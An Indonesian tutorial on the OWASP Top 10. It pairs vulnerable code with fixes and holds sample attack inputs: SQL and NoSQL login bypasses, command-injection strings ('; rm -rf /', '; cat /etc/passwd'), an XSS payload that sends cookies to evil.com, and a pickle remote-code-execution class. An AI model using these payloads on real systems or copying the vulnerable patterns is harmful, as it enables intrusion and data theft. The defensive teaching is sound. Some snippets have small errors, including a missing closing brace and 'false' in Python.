Keamanan

OWASP Top 10: Vulnerability Web yang Harus Diketahui

Pelajari sepuluh kerentanan web paling kritis menurut OWASP β€” dari SQL Injection hingga Security Misconfiguration β€” lengkap dengan contoh kode berbahaya, cara kerja serangan, dan strategi mitigasi yang efektif

1. Pengenalan OWASP

OWASP (Open Worldwide Application Security Project) adalah organisasi nonprofit global yang berfokus pada peningkatan keamanan perangkat lunak. Salah satu kontribusi terbesar OWASP adalah OWASP Top 10 β€” daftar sepuluh risiko keamanan aplikasi web yang paling kritis, yang diperbarui secara berkala berdasarkan data industri dan konsensus komunitas keamanan global.

OWASP Top 10 bukan sekadar daftar β€” ini adalah standar de facto yang digunakan oleh perusahaan, auditor keamanan, dan pengembang di seluruh dunia untuk mengevaluasi postur keamanan aplikasi web. Banyak regulasi dan standar kepatuhan (seperti PCI-DSS) mengacu pada OWASP Top 10 sebagai baseline keamanan.

Mengapa OWASP Top 10 Penting?

Alasan Penjelasan
Standar IndustriDiakui secara global oleh perusahaan besar, pemerintah, dan lembaga sertifikasi keamanan
Panduan PengembangMemberikan panduan praktis tentang apa yang harus dihindari saat mengembangkan aplikasi web
Basis AuditMenjadi acuan utama dalam penetration testing dan security audit
EdukasiMembantu tim development memahami ancaman keamanan yang paling umum dan berbahaya
ComplianceBanyak standar kepatuhan mewajibkan pengujian terhadap OWASP Top 10

OWASP Top 10 Edisi Terbaru (2021)

Peringkat Kategori Deskripsi Singkat
A01Broken Access ControlPengguna bisa mengakses resource yang seharusnya tidak diizinkan
A02Cryptographic FailuresKegagalan implementasi kriptografi yang menyebabkan kebocoran data sensitif
A03InjectionInput berbahaya dieksekusi sebagai perintah oleh aplikasi
A04Insecure DesignKekurangan arsitektur keamanan sejak tahap desain
A05Security MisconfigurationKonfigurasi keamanan yang tidak tepat pada aplikasi atau server
A06Vulnerable ComponentsPenggunaan library/dependency yang memiliki known vulnerability
A07Authentication FailuresMekanisme autentikasi yang lemah atau rusak
A08Software & Data IntegrityKegagalan memverifikasi integritas software dan data
A09Security Logging FailuresLogging dan monitoring yang tidak memadai untuk mendeteksi serangan
A10SSRFServer-Side Request Forgery β€” server dipaksa melakukan request ke resource internal
Diagram: Ekosistem OWASP dalam Pengembangan Web
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              OWASP TOP 10 ECOSYSTEM                   β”‚
β”‚                                                       β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚  Pengembang │───▢│  OWASP Top 10│◀──│  Auditor  β”‚ β”‚
β”‚  β”‚  (Dev)      β”‚    β”‚  Guidelines  β”‚   β”‚  Security β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β”‚         β”‚                  β”‚                          β”‚
β”‚         β–Ό                  β–Ό                          β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                  β”‚
β”‚  β”‚ Secure Code β”‚    β”‚  Testing &   β”‚                  β”‚
β”‚  β”‚  Review     β”‚    β”‚  Penetration β”‚                  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜                  β”‚
β”‚         β”‚                  β”‚                          β”‚
β”‚         β–Ό                  β–Ό                          β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”              β”‚
β”‚  β”‚       Aplikasi Web yang Aman        β”‚              β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

2. Injection: SQL, NoSQL, dan Command Injection

Injection adalah kategori kerentanan di mana input berbahaya dari pengguna dikirim ke interpreter sebagai bagian dari perintah atau query. Ini adalah salah satu jenis serangan paling tua, paling umum, dan paling berbahaya dalam keamanan web. Penyerang dapat memanfaatkan injection untuk mengakses, memodifikasi, atau menghapus data di database, menjalankan perintah sistem operasi, dan bahkan mengambil alih server sepenuhnya.

SQL Injection

SQL Injection terjadi ketika penyerang menyisipkan kode SQL berbahaya ke dalam input yang kemudian dieksekusi oleh database. Ini bisa terjadi pada form login, parameter URL, atau input pencarian.

Python β€” Contoh SQL Injection (Rentan)
# ⚠️ KODE INI RENTAN TERHADAP SQL INJECTION β€” JANGAN DITIRU!
import sqlite3

def login_rentan(username, password):
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()

    # ❌ String concatenation langsung ke SQL query
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    cursor.execute(query)

    # Input berbahaya: username = "admin' OR '1'='1' --"
    # Query menjadi: SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password=''
    # Hasil: attacker berhasil login tanpa password!

    user = cursor.fetchone()
    conn.close()
    return user

# Contoh payload injection:
# Username: ' OR 1=1 --
# Password: (kosong)
# Query menjadi: SELECT * FROM users WHERE username='' OR 1=1 --' AND password=''
# Ini mengembalikan SEMUA user!

Mitigasi SQL Injection dengan Parameterized Query

Python β€” Solusi Aman
# βœ… KODE AMAN β€” Menggunakan Parameterized Query
import sqlite3

def login_aman(username, password):
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()

    # βœ… Gunakan parameterized query (placeholder ?)
    query = "SELECT * FROM users WHERE username = ? AND password = ?"
    cursor.execute(query, (username, password))

    # Database driver akan sanitize input secara otomatis
    # Input berbahaya hanya dianggap sebagai string biasa

    user = cursor.fetchone()
    conn.close()
    return user

# βœ… Alternatif: Menggunakan ORM (SQLAlchemy)
from sqlalchemy import create_engine, text
from sqlalchemy.orm import Session

def login_dengan_orm(username, password):
    engine = create_engine('sqlite:///app.db')
    with Session(engine) as session:
        result = session.execute(
            text("SELECT * FROM users WHERE username = :u AND password = :p"),
            {"u": username, "p": password}
        )
        return result.fetchone()

NoSQL Injection

JavaScript β€” NoSQL Injection
// ❌ RENTAN: NoSQL Injection pada MongoDB + Express
const express = require('express');
const { MongoClient } = require('mongodb');

app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  // ❌ Query langsung dari user input
  // Attacker bisa mengirim: { "username": {"$gt": ""}, "password": {"$gt": ""} }
  // Ini bypass autentikasi karena $gt: "" selalu true!
  const user = await db.collection('users').findOne({
    username: username,
    password: password
  });

  if (user) res.json({ success: true });
  else res.status(401).json({ success: false });
});

// βœ… SOLUSI: Validasi tipe input
app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  // Pastikan input adalah string, bukan object
  if (typeof username !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Input tidak valid' });
  }

  // Sanitasi dan gunakan bcrypt untuk password
  const user = await db.collection('users').findOne({
    username: username
  });

  if (user && await bcrypt.compare(password, user.passwordHash)) {
    res.json({ success: true });
  } else {
    res.status(401).json({ success: false });
  }
});

OS Command Injection

Python β€” Command Injection
# ❌ RENTAN: OS Command Injection
import subprocess

def ping_host_rentan(host):
    # Input user langsung ke command
    result = subprocess.run(
        f"ping -c 4 {host}",  # host bisa jadi: "8.8.8.8; rm -rf /"
        shell=True,            # shell=True menambah risiko!
        capture_output=True,
        text=True
    )
    return result.stdout

# Payload berbahaya: "8.8.8.8; cat /etc/passwd"
# Akan menjalankan: ping -c 4 8.8.8.8; cat /etc/passwd

# βœ… SOLUSI: Gunakan subprocess tanpa shell + validasi input
import re
import shlex

def ping_host_aman(host):
    # Validasi input β€” hanya boleh IP atau hostname
    if not re.match(r'^[a-zA-Z0-9\.\-]+$', host):
        raise ValueError("Input tidak valid!")

    # Gunakan list alih-alih string + shell=False
    result = subprocess.run(
        ["ping", "-c", "4", host],
        shell=False,  # Tidak melalui shell
        capture_output=True,
        text=True
    )
    return result.stdout
⚠️ Prinsip Pencegahan Injection
  • Selalu gunakan parameterized queries atau prepared statements
  • Validasi dan sanitize semua input dari user β€” jangan pernah percaya input
  • Gunakan ORM untuk abstraksi database yang lebih aman
  • Hindari shell=True pada subprocess β€” gunakan list arguments
  • Implementasikan least privilege β€” database user hanya boleh akses yang diperlukan
  • Gunakan Web Application Firewall (WAF) sebagai lapisan pertahanan tambahan

3. Broken Authentication

Broken Authentication mencakup semua kelemahan dalam implementasi autentikasi yang memungkinkan penyerang mengkompromikan akun pengguna. Ini termasuk credential stuffing, brute force, session hijacking, dan pengelolaan session yang buruk. Menurut OWASP, ini adalah salah satu kerentanan yang paling sering dieksploitasi dalam serangan skala besar.

Jenis-Jenis Broken Authentication

Jenis Serangan Deskripsi Dampak
Credential StuffingMenggunakan kombinasi username/password yang bocor dari breach lainAkun pengguna diambil alih
Brute ForceMencoba semua kombinasi password secara otomatisPassword lemah bisa ditembus
Session HijackingMencuri session token untuk menyamar sebagai penggunaAkses penuh ke akun korban
Session FixationMemaksa pengguna menggunakan session ID yang sudah diketahui penyerangPenyerang bisa ikut login
Weak Password PolicyTidak ada kebijakan password yang kuatPassword mudah ditebak

Contoh Implementasi Autentikasi yang Aman

Python β€” Autentikasi Aman dengan Flask
# βœ… Implementasi Autentikasi yang Aman
from flask import Flask, request, session, abort
import bcrypt
import secrets
import time
from functools import wraps

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)

# Rate limiting sederhana
login_attempts = {}

def rate_limit(username, max_attempts=5, window=300):
    """Batasi percobaan login per username"""
    now = time.time()
    if username not in login_attempts:
        login_attempts[username] = []

    # Hapus attempt lama
    login_attempts[username] = [
        t for t in login_attempts[username] if now - t < window
    ]

    if len(login_attempts[username]) >= max_attempts:
        return False  # Terlalu banyak percobaan

    login_attempts[username].append(now)
    return True

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username', '')
    password = request.form.get('password', '')

    # Rate limiting
    if not rate_limit(username):
        abort(429, "Terlalu banyak percobaan login. Coba lagi nanti.")

    # Cari user di database
    user = find_user(username)
    if not user:
        # Gunakan pesan error generik untuk mencegah username enumeration
        return {"error": "Username atau password salah"}, 401

    # Verifikasi password dengan bcrypt
    if bcrypt.checkpw(password.encode(), user['password_hash']):
        # Generate session token yang aman
        session['user_id'] = user['id']
        session['token'] = secrets.token_hex(32)
        session.permanent = True
        app.permanent_session_lifetime = 3600  # 1 jam

        return {"message": "Login berhasil"}
    else:
        return {"error": "Username atau password salah"}, 401

# Registrasi dengan password hashing
@app.route('/register', methods=['POST'])
def register():
    username = request.form.get('username', '')
    password = request.form.get('password', '')

    # Validasi kekuatan password
    if len(password) < 12:
        return {"error": "Password minimal 12 karakter"}, 400
    if not any(c.isupper() for c in password):
        return {"error": "Password harus mengandung huruf besar"}, 400
    if not any(c.isdigit() for c in password):
        return {"error": "Password harus mengandung angka"}, 400

    # Hash password dengan bcrypt (salt otomatis)
    salt = bcrypt.gensalt(rounds=12)
    password_hash = bcrypt.hashpw(password.encode(), salt)

    # Simpan ke database
    save_user(username, password_hash)
    return {"message": "Registrasi berhasil"}, 201
Diagram: Alur Autentikasi yang Aman
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚            SECURE AUTHENTICATION FLOW                 β”‚
β”‚                                                       β”‚
β”‚  User ──▢ [Login Form] ──▢ [Rate Limiter]            β”‚
β”‚                                    β”‚                  β”‚
β”‚                              β”Œβ”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”          β”‚
β”‚                              β”‚  Validasi   β”‚          β”‚
β”‚                              β”‚  Input      β”‚          β”‚
β”‚                              β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜          β”‚
β”‚                              β”Œβ”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”          β”‚
β”‚                              β”‚  Cek User   β”‚          β”‚
β”‚                              β”‚  di DB      β”‚          β”‚
β”‚                              β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜          β”‚
β”‚                              β”Œβ”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”          β”‚
β”‚                              β”‚  Verifikasi β”‚          β”‚
β”‚                              β”‚  Password   β”‚          β”‚
β”‚                              β”‚  (bcrypt)   β”‚          β”‚
β”‚                              β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜          β”‚
β”‚                              β”Œβ”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”          β”‚
β”‚                              β”‚ Generate    β”‚          β”‚
β”‚                              β”‚ Session     β”‚          β”‚
β”‚                              β”‚ Token       β”‚          β”‚
β”‚                              β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜          β”‚
β”‚                                    β–Ό                  β”‚
β”‚                              [Access Granted]         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
πŸ’‘ Best Practices Autentikasi
  • Gunakan Multi-Factor Authentication (MFA) untuk lapisan keamanan tambahan
  • Implementasikan rate limiting untuk mencegah brute force
  • Gunakan bcrypt, scrypt, atau Argon2 untuk hashing password β€” JANGAN gunakan MD5/SHA1
  • Terapkan password policy yang kuat (minimal 12 karakter, kombinasi huruf, angka, simbol)
  • Gunakan pesan error generik ("Username atau password salah") untuk mencegah username enumeration
  • Setel session timeout yang wajar dan regenerate session ID setelah login

4. Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) adalah kerentanan yang memungkinkan penyerang menyuntikkan kode JavaScript berbahaya ke halaman web yang dilihat oleh pengguna lain. Kode ini kemudian dieksekusi di browser korban, memungkinkan penyerang mencuri cookie, session token, data pribadi, atau bahkan mengubah tampilan halaman web.

Jenis-Jenis XSS

Jenis Deskripsi Vektor Serangan
Stored XSSKode berbahaya disimpan di server (database) dan ditampilkan ke semua penggunaKomentar, profil pengguna, postingan forum
Reflected XSSKode berbahaya dikirim melalui URL dan langsung direfleksikan oleh serverParameter URL, search query, form submission
DOM-based XSSKode berbahaya dieksekusi melalui manipulasi DOM di sisi clientfragment URL, localStorage, API response

Contoh dan Pencegahan XSS

JavaScript β€” XSS dan Pencegahannya
// ❌ RENTAN: Stored XSS pada komentar blog
function tampilkanKomentar(komentar) {
  // InnerHTML tanpa sanitasi = XSS!
  document.getElementById('komentar').innerHTML = komentar;
  // Jika komentar: "<script>document.location='http://evil.com/?c='+document.cookie</script>"
  // Cookie pengguna akan dikirim ke server penyerang!

// βœ… AMAN: Menggunakan textContent atau sanitasi
function tampilkanKomentarAman(komentar) {
  // textContent secara otomatis escape HTML
  document.getElementById('komentar').textContent = komentar;
}

// βœ… AMAN: Sanitasi HTML jika perlu rendering HTML
function sanitizeHTML(input) {
  const div = document.createElement('div');
  div.textContent = input;
  return div.innerHTML;
}

// βœ… AMAN: Menggunakan library DOMPurify
// npm install dompurify
import DOMPurify from 'dompurify';
function tampilkanKomentarDenganSanitasi(html) {
  const clean = DOMPurify.sanitize(html);
  document.getElementById('komentar').innerHTML = clean;
}
Python β€” Content Security Policy (CSP)
# βœ… Implementasi Content Security Policy (CSP) di Flask
from flask import Flask, make_response

app = Flask(__name__)

@app.after_request
def add_security_headers(response):
    # CSP β€” batasi sumber script, style, dan resource lainnya
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self' 'nonce-random123'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data: https:; "
        "font-src 'self'; "
        "connect-src 'self'; "
        "frame-ancestors 'none'; "
        "base-uri 'self'; "
        "form-action 'self'"
    )

    # Header keamanan tambahan
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'

    return response

# βœ… Template dengan auto-escaping (Jinja2)
# Jinja2 secara default melakukan auto-escaping:
# {{ user_input }} β†’ aman (di-escape otomatis)
# {{ user_input | safe }} β†’ HANYA gunakan untuk konten yang sudah dipercaya
⚠️ Payload XSS yang Umum

Kenali payload XSS berikut agar Anda bisa mendeteksinya:

  • <script>alert('XSS')</script> β€” Bentuk paling dasar
  • <img src=x onerror=alert('XSS')> β€” Melalui atribut gambar
  • <svg onload=alert('XSS')> β€” Melalui SVG
  • javascript:alert('XSS') β€” Melalui href/link
  • <body onload=alert('XSS')> β€” Melalui event handler

5. Insecure Deserialization

Insecure Deserialization terjadi ketika aplikasi mendeserialisasi data yang tidak terpercaya tanpa validasi yang memadai. Penyerang bisa memanipulasi data serialisasi untuk Remote Code Execution (RCE), serangan replay, injection, dan privilege escalation. Kerentanan ini sangat berbahaya karena bisa mengakibatkan pengambilalihan server sepenuhnya.

Apa itu Serialization & Deserialization?

Proses Deskripsi Contoh Format
SerializationMengubah objek menjadi format yang bisa disimpan/dikirimJSON, XML, Pickle, YAML, Java Serializable
DeserializationMengubah data kembali menjadi objek yang bisa digunakanjson.loads(), pickle.loads(), yaml.load()
Python β€” Insecure Deserialization
# ❌ SANGAT BERBAHAYA: Deserialisasi pickle dari input user
import pickle
import base64

# Penyerang bisa membuat payload pickle yang menjalankan perintah sistem
class MaliciousPayload:
    def __reduce__(self):
        import os
        return (os.system, ('echo "Server diambil alih!" && whoami',))

# Penyerang mengirim: base64.b64encode(pickle.dumps(MaliciousPayload()))
# Saat server mendeserialisasi, perintah di atas akan dieksekusi!

# ❌ Contoh kode rentan
def load_user_preferences(data_base64):
    data = base64.b64decode(data_base64)
    return pickle.loads(data)  # ⚠️ Bisa mengeksekusi kode apapun!

# βœ… SOLUSI 1: Jangan gunakan pickle untuk data dari luar
# Gunakan JSON sebagai gantinya
import json

def load_user_preferences_aman(data_json):
    # JSON hanya bisa merepresentasikan data, bukan kode
    allowed_keys = {'theme', 'language', 'notifications', 'font_size'}
    data = json.loads(data_json)

    # Validasi struktur data
    sanitized = {k: v for k, v in data.items() if k in allowed_keys}
    return sanitized

# βœ… SOLUSI 2: Jika harus deserialize data complex, gunakan safe format
# seperti JSON Schema validation
from jsonschema import validate

schema = {
    "type": "object",
    "properties": {
        "theme": {"type": "string", "enum": ["dark", "light"]},
        "language": {"type": "string", "pattern": "^[a-z]{2}$"},
        "notifications": {"type": "boolean"},
        "font_size": {"type": "integer", "minimum": 12, "maximum": 24}
    },
    "additionalProperties": false
}

def load_preferences_validated(data_json):
    data = json.loads(data_json)
    validate(instance=data, schema=schema)  # Validasi ketat
    return data
⚠️ Aturan Emas Deserialisasi
  • JANGAN PERNAH mendeserialisasi data dari sumber yang tidak terpercaya menggunakan format yang bisa mengeksekusi kode (pickle, Java Serializable, YAML)
  • Gunakan JSON sebagai format pertukaran data β€” tidak bisa mengeksekusi kode
  • Validasi semua data yang dideserialisasi sebelum digunakan
  • Implementasikan integritas β€” gunakan HMAC atau signature untuk memverifikasi data belum dimanipulasi
  • Monitor dan log semua aktivitas deserialisasi yang mencurigakan

6. Security Misconfiguration

Security Misconfiguration adalah kerentanan yang paling umum dan mencakup berbagai masalah: dari default credentials yang tidak diubah, error messages yang mengekspos informasi sensitif, hingga fitur yang tidak diperlukan yang tetap aktif. Ini bisa terjadi di level aplikasi, web server, database, framework, atau container.

Jenis-Jenis Security Misconfiguration

Masalah Risiko Solusi
Default credentialsAkses tidak sah menggunakan username/password bawaanUbah semua default credential saat deployment
Debug mode aktif di productionStack trace dan informasi internal tereksposMatikan debug mode di production
Directory listing aktifStruktur folder dan file terlihat oleh publikNonaktifkan directory listing di web server
Unnecessary servicesAttack surface bertambahHapus/nonaktifkan service yang tidak diperlukan
Missing security headersRentan terhadap clickjacking, MIME sniffing, dll.Implementasikan semua security headers
Verbose error messagesInformasi teknis seperti DB connection string tereksposTampilkan pesan error generik ke user
Python β€” Security Configuration Checklist
# security_config.py β€” Checklist Konfigurasi Keamanan
from flask import Flask
import os

def create_secure_app():
    app = Flask(__name__)

    # βœ… 1. Secret key dari environment variable, bukan hardcoded
    app.secret_key = os.environ.get('SECRET_KEY')
    if not app.secret_key:
        raise RuntimeError("SECRET_KEY harus diset di environment variable!")

    # βœ… 2. Matikan debug mode di production
    app.config['DEBUG'] = False
    app.config['TESTING'] = False

    # βœ… 3. Konfigurasi session yang aman
    app.config['SESSION_COOKIE_SECURE'] = True      # Hanya HTTPS
    app.config['SESSION_COOKIE_HTTPONLY'] = True     # Tidak bisa diakses JS
    app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'   # Cegah CSRF
    app.config['PERMANENT_SESSION_LIFETIME'] = 3600  # 1 jam timeout

    # βœ… 4. Rate limiting
    from flask_limiter import Limiter
    from flask_limiter.util import get_remote_address
    limiter = Limiter(app=app, key_func=get_remote_address)

    # βœ… 5. CORS configuration yang ketat
    from flask_cors import CORS
    CORS(app, resources={
        r"/api/*": {
            "origins": ["https://beebanelabs.pages.dev"],
            "methods": ["GET", "POST"],
            "allow_headers": ["Content-Type", "Authorization"]
        }
    })

    # βœ… 6. Error handler β€” jangan ekspos stack trace
    @app.errorhandler(500)
    def internal_error(error):
        app.logger.error(f"Internal error: {error}")
        return {"error": "Terjadi kesalahan internal"}, 500

    @app.errorhandler(404)
    def not_found(error):
        return {"error": "Halaman tidak ditemukan"}, 404

    return app

# βœ… 7. Environment-based configuration
class Config:
    """Pisahkan config per environment"""
    TESTING = False
    CSRF_ENABLED = True
    SQLALCHEMY_TRACK_MODIFICATIONS = False

class ProductionConfig(Config):
    DEBUG = False
    DATABASE_URI = os.environ.get('DATABASE_URL')
    # Pastikan SSL/TLS untuk database connection
    SQLALCHEMY_ENGINE_OPTIONS = {
        'connect_args': {'sslmode': 'require'}
    }

class DevelopmentConfig(Config):
    DEBUG = True
    DATABASE_URI = 'sqlite:///dev.db'

Security Headers Lengkap

Nginx β€” Security Headers
# /etc/nginx/conf.d/security.conf

# Content Security Policy
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always;

# Mencegah clickjacking
add_header X-Frame-Options "DENY" always;

# Mencegah MIME sniffing
add_header X-Content-Type-Options "nosniff" always;

# XSS Protection (legacy browsers)
add_header X-XSS-Protection "1; mode=block" always;

# HSTS β€” paksa HTTPS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

# Referrer Policy
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

# Permissions Policy
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;

# Sembunyikan versi server
server_tokens off;
πŸ’‘ Security Misconfiguration Prevention Checklist
  • βœ… Ubah semua default credentials (admin/password)
  • βœ… Matikan debug mode dan verbose error messages di production
  • βœ… Hapus fitur, endpoint, dan service yang tidak diperlukan
  • βœ… Implementasikan semua security headers
  • βœ… Konfigurasi CORS secara ketat β€” jangan gunakan wildcard (*)
  • βœ… Gunakan environment variables untuk secrets
  • βœ… Lakukan automated scanning secara berkala
  • βœ… Review dan harden konfigurasi server sebelum deployment

7. Quiz: Uji Pemahamanmu!

Setelah membaca tutorial di atas, jawablah 5 pertanyaan berikut untuk menguji pemahamanmu tentang OWASP Top 10:

Pertanyaan 1: Apa cara terbaik untuk mencegah SQL Injection?

a) Menggunakan parameterized queries / prepared statements
b) Memfilter karakter single quote (')
c) Menggunakan password yang kuat
d) Mengenkripsi semua data di database

Pertanyaan 2: Jenis XSS apa yang kode berbahayanya disimpan di database?

a) Reflected XSS
b) DOM-based XSS
c) Stored XSS
d) Self-XSS

Pertanyaan 3: Mengapa Python pickle sangat berbahaya untuk deserialisasi data dari user?

a) Karena pickle terlalu lambat
b) Karena pickle hanya mendukung string
c) Karena pickle bisa mengeksekusi kode arbitrer saat deserialisasi
d) Karena pickle tidak mendukung nested object

Pertanyaan 4: Hashing algorithm mana yang direkomendasikan untuk menyimpan password?

a) MD5
b) SHA-1
c) bcrypt atau Argon2
d) Base64

Pertanyaan 5: Header HTTP apa yang mencegah halaman Anda dimuat dalam iframe (clickjacking)?

a) Content-Security-Policy
b) X-Frame-Options
c) Strict-Transport-Security
d) X-Content-Type-Options
πŸ” Zoom
100%
🎨 Tema